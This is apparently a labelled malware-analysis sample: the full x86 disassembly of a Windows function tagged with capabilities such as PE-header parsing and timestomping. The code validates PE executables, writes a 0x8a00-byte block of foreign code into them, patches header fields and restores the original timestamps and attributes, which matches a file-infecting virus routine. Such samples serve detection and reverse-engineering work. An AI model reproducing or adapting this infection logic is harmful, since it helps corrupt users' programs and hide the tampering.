Function at 0x40173c
Capabilities:
Get file attributes
Parse pe header
Read file on windows
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1cc
push edi
push esi
push ebx
add esp, 0xfffffff4
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.dll_GetFileAttributesA
mov dword [ebp - 0x18c], eax
and al, 0xfe
add esp, 0xfffffff4
push eax
mov edx, dword [ebp + 8]
push edx
call sub.KERNEL32.dll_SetFileAttributesA
mov dword [ebp - 0x190], 0xffffffff
mov dword [ebp - 0x194], 0
add esp, 0xfffffff4
push 0x14
push 0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x198], eax
push eax
call sub.msvcrt.dll_memset
mov dword [ebp - 0x19c], 0
mov byte [ebp - 0x19d], 0
add esp, 0x30
jmp 0x401e50
add esp, 0xfffffff8
lea eax, [ebp - 0x161]
push eax
push edi
call fcn.004016a8
add esp, 0x10
test al, al
je 0x401ea7
cmp byte [ebp - 0x161], 0
jne 0x401ea7
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
lea edx, [ebp - 0x168]
mov dword [ebp - 0x1a8], edx
push edx
push 0x40
lea eax, [ebp - 0x60]
push eax
push edi
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
je 0x401ea7
cmp word [ebp - 0x60], 0x5a4d
jne 0x401ea7
push 0
push 0
push dword [ebp - 0x24]
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
mov eax, dword [ebp - 0x1a8]
push eax
push 4
lea eax, [ebp - 0x16c]
push eax
push edi
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
je 0x401ea7
cmp dword [ebp - 0x16c], 0x4550
jne 0x401ea7
add esp, 0xfffffff4
push 0
mov edx, dword [ebp - 0x1a8]
push edx
push 0x14
lea eax, [ebp - 0x80]
push eax
push edi
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
je 0x401ea7
cmp word [ebp - 0x80], 0x14c
jne 0x401ea7
mov eax, dword [ebp - 0x70]
and eax, 0x2012ffff
cmp eax, 0x200e0
jne 0x401ea7
add esp, 0xfffffff4
push 0
mov eax, dword [ebp - 0x1a8]
push eax
push 0xe0
lea eax, [ebp - 0x160]
push eax
push edi
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
je 0x401ea7
cmp word [ebp - 0x160], 0x10b
jne 0x401ea7
cmp word [ebp - 0x11c], 2
jne 0x401ea7
movzx eax, word [ebp - 0x7e]
lea ebx, [eax + eax*4]
shl ebx, 3
add esp, 0xfffffff4
push ebx
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x194], eax
add esp, 0x10
test eax, eax
je 0x401ec2
add esp, 0xfffffff4
push 0
mov edx, dword [ebp - 0x1a8]
push edx
push ebx
push eax
push edi
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
je 0x401ea7
movzx eax, word [ebp - 0x7e]
push eax
mov edx, dword [ebp - 0x194]
push edx
push dword [ebp - 0xf8]
push edi
call fcn.00401554
add esp, 0x10
test al, al
je 0x401ea7
add esp, 0xfffffff4
mov eax, dword [ebp - 0x198]
push eax
movzx eax, word [ebp - 0x7e]
push eax
mov edx, dword [ebp - 0x194]
push edx
push dword [ebp - 0xf0]
push edi
call fcn.00401470
add esp, 0x20
test al, al
je 0x401ea7
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x401a97
push 0xc000
push dword [ebp - 0x1c]
push eax
push dword [ebp - 0x10]
call fcn.00401450
add esp, 0x10
test al, al
je 0x401ea7
mov esi, dword [ebp - 0x18]
test esi, esi
je 0x401a97
mov dword [ebp - 0x1a4], esi
push 2
push 0
mov eax, esi
neg eax
push eax
push edi
call sub.KERNEL32.dll_SetFilePointer
mov ebx, eax
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x14]
cmp edx, ebx
jbe 0x4019d8
mov eax, edx
sub eax, ebx
sub esi, eax
mov dword [ebp - 0x1a4], esi
mov ebx, edx
add esp, 0xfffffff4
mov eax, dword [ebp - 0x1a4]
push eax
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x19c], eax
add esp, 0x10
test eax, eax
je 0x401ea7
push 0
push 0
push ebx
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
mov edx, dword [ebp - 0x1a8]
push edx
mov eax, dword [ebp - 0x1a4]
push eax
mov edx, dword [ebp - 0x19c]
push edx
push edi
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
je 0x401ea7
push 0
push 0
push dword [ebp - 0x14]
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
mov eax, dword [ebp - 0x1a8]
push eax
mov edx, dword [ebp - 0x1a4]
push edx
mov eax, dword [ebp - 0x19c]
push eax
push edi
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
test eax, eax
je 0x401ea7
add esp, 0xfffffff4
mov edx, dword [ebp - 0x19c]
push edx
call sub.msvcrt.dll_free
push 2
push 0
mov eax, dword [ebp - 0x18]
neg eax
push eax
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push edi
call sub.KERNEL32.dll_SetEndOfFile
push edi
call sub.KERNEL32.dll_FlushFileBuffers
add esp, 0x1c
mov eax, dword [ebp - 0x18]
add eax, 0x8a00
mov dword [ebp - 0x1a4], eax
push 2
push 0
push 0
push edi
call sub.KERNEL32.dll_SetFilePointer
mov ebx, eax
cmp ebx, dword [ebp - 0x1a4]
jae 0x401ac9
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x1a4], ebx
mov ebx, eax
add esp, 0xfffffff4
mov edx, dword [ebp - 0x1a4]
push edx
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x19c], eax
add esp, 0x10
test eax, eax
je 0x401ea7
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
lea esi, [ebp - 0x168]
push esi
mov eax, dword [ebp - 0x1a4]
push eax
mov edx, dword [ebp - 0x19c]
push edx
push edi
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
je 0x401ea7
add esp, 0xfffffff8
mov eax, dword [ebp - 0x1a4]
push eax
mov edx, dword [ebp - 0x19c]
push edx
call fcn.00401248
push 0
push 0
push ebx
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
push esi
mov eax, dword [ebp - 0x1a4]
push eax
mov edx, dword [ebp - 0x19c]
push edx
push edi
call sub.KERNEL32.dll_WriteFile
add esp, 0x1c
test eax, eax
je 0x401ea7
add esp, 0xfffffff4
mov eax, dword [ebp - 0x19c]
push eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x19c], 0
add esp, 0xfffffffc
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [0x40a034]
call sub.KERNEL32.dll_CreateFileA
mov dword [ebp - 0x190], eax
add esp, 0x14
cmp eax, 0xffffffff
je 0x401ea7
add esp, 0xfffffff4
push 0x8a00
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x19c], eax
add esp, 0x10
test eax, eax
je 0x401ea7
add esp, 0xfffffff4
push 0
push esi
push 0x8a00
mov edx, eax
push edx
mov eax, dword [ebp - 0x190]
push eax
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
je 0x401ea7
push 0
push 0
push 0
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
push esi
push 0x8a00
mov edx, dword [ebp - 0x19c]
push edx
push edi
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
test eax, eax
je 0x401ea7
add esp, 0xfffffff4
mov eax, dword [ebp - 0x19c]
push eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x19c], 0
add esp, 0x10
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x401c5e
add esp, 0xfffffff4
push 0
push esi
push eax
push dword [ebp - 0x10]
push edi
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
test eax, eax
je 0x401ea7
mov edx, dword [ebp - 0x18]
add edx, 0xc000
mov dword [ebp - 0x1b8], edx
mov dword [ebp - 0x170], edx
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x1b4], eax
mov eax, edx
xor edx, edx
div dword [ebp - 0x1b4]
mov ecx, edx
test ecx, ecx
je 0x401ca7
sub dword [ebp - 0x1b4], ecx
mov eax, dword [ebp - 0x1b8]
add eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x170], eax
push 0
push 0
push 0xd0
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
push esi
push 4
lea eax, [ebp - 0x170]
push eax
push edi
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
test eax, eax
je 0x401ea7
push 0
push 0
push 0x10c
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
push esi
push 4
mov edx, dword [ebp - 0x198]
push edx
push edi
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
test eax, eax
je 0x401ea7
push 0
push 0
push 0x220
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
push esi
push 4
mov eax, dword [ebp - 0x198]
push eax
push edi
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
test eax, eax
je 0x401ea7
push 0
push 0
push 0x228
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
push esi
push 4
lea eax, [ebp - 0x18]
push eax
push edi
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
test eax, eax
je 0x401ea7
push 0
push 0
push 0x7c0c
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
push esi
push 4
lea eax, [ebp - 0x14]
push eax
push edi
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
test eax, eax
je 0x401ea7
add esp, 0xfffffff4
push 0
push esi
push 4
lea eax, [ebp - 0x1c]
push eax
push edi
call sub.KERNEL32.dll_WriteFile
add esp, 0xc
test eax, eax
je 0x401ea7
add esp, 0xfffffff4
push 0x400
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x19c], eax
add esp, 0x10
test eax, eax
je 0x401ea7
push 2
push 0
push 0xfffffc00
mov edx, dword [ebp - 0x190]
push edx
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
push esi
push 0x400
mov eax, dword [ebp - 0x19c]
push eax
mov edx, dword [ebp - 0x190]
push edx
call sub.KERNEL32.dll_ReadFile
add esp, 0xc
test eax, eax
je 0x401ea7
add esp, 0xfffffff8
push 0x400
mov eax, dword [ebp - 0x19c]
push eax
call fcn.00401248
push 2
push 0
push 0
push edi
call sub.KERNEL32.dll_SetFilePointer
add esp, 0xfffffff4
push 0
push esi
push 0x400
mov edx, dword [ebp - 0x19c]
push edx
push edi
call sub.KERNEL32.dll_WriteFile
add esp, 0x1c
test eax, eax
je 0x401ea7
mov byte [ebp - 0x19d], 1
jmp 0x401ea7
add esp, 0xfffffffc
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.dll_CreateFileA
mov edi, eax
add esp, 4
cmp edi, 0xffffffff
je 0x401ea7
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x188]
push eax
push edi
call sub.KERNEL32.dll_GetFileTime
push 2
push 0
push 0
push edi
call sub.KERNEL32.dll_SetFilePointer
cmp eax, 0x18fff
ja 0x4017b0
cmp dword [ebp - 0x194], 0
je 0x401ec2
add esp, 0xfffffff4
mov edx, dword [ebp - 0x194]
push edx
call sub.msvcrt.dll_free
add esp, 0x10
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x401ed5
add esp, 0xfffffff4
push eax
call sub.msvcrt.dll_free
add esp, 0x10
cmp dword [ebp - 0x19c], 0
je 0x401ef0
add esp, 0xfffffff4
mov eax, dword [ebp - 0x19c]
push eax
call sub.msvcrt.dll_free
add esp, 0x10
cmp edi, 0xffffffff
je 0x401f1c
lea eax, [ebp - 0x178]
push eax
lea eax, [ebp - 0x180]
push eax
lea eax, [ebp - 0x188]
push eax
push edi
call sub.KERNEL32.dll_SetFileTime
add esp, 0xfffffff4
push edi
call sub.KERNEL32.dll_CloseHandle
add esp, 0xc
add esp, 0xfffffff8
mov edx, dword [ebp - 0x18c]
push edx
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.dll_SetFileAttributesA
add esp, 8
cmp dword [ebp - 0x190], 0xffffffff
je 0x401f4a
add esp, 0xfffffff4
mov edx, dword [ebp - 0x190]
push edx
call sub.KERNEL32.dll_CloseHandle
mov al, byte [ebp - 0x19d]
lea esp, [ebp - 0x1d8]
pop ebx
pop esi
pop edi
leave
ret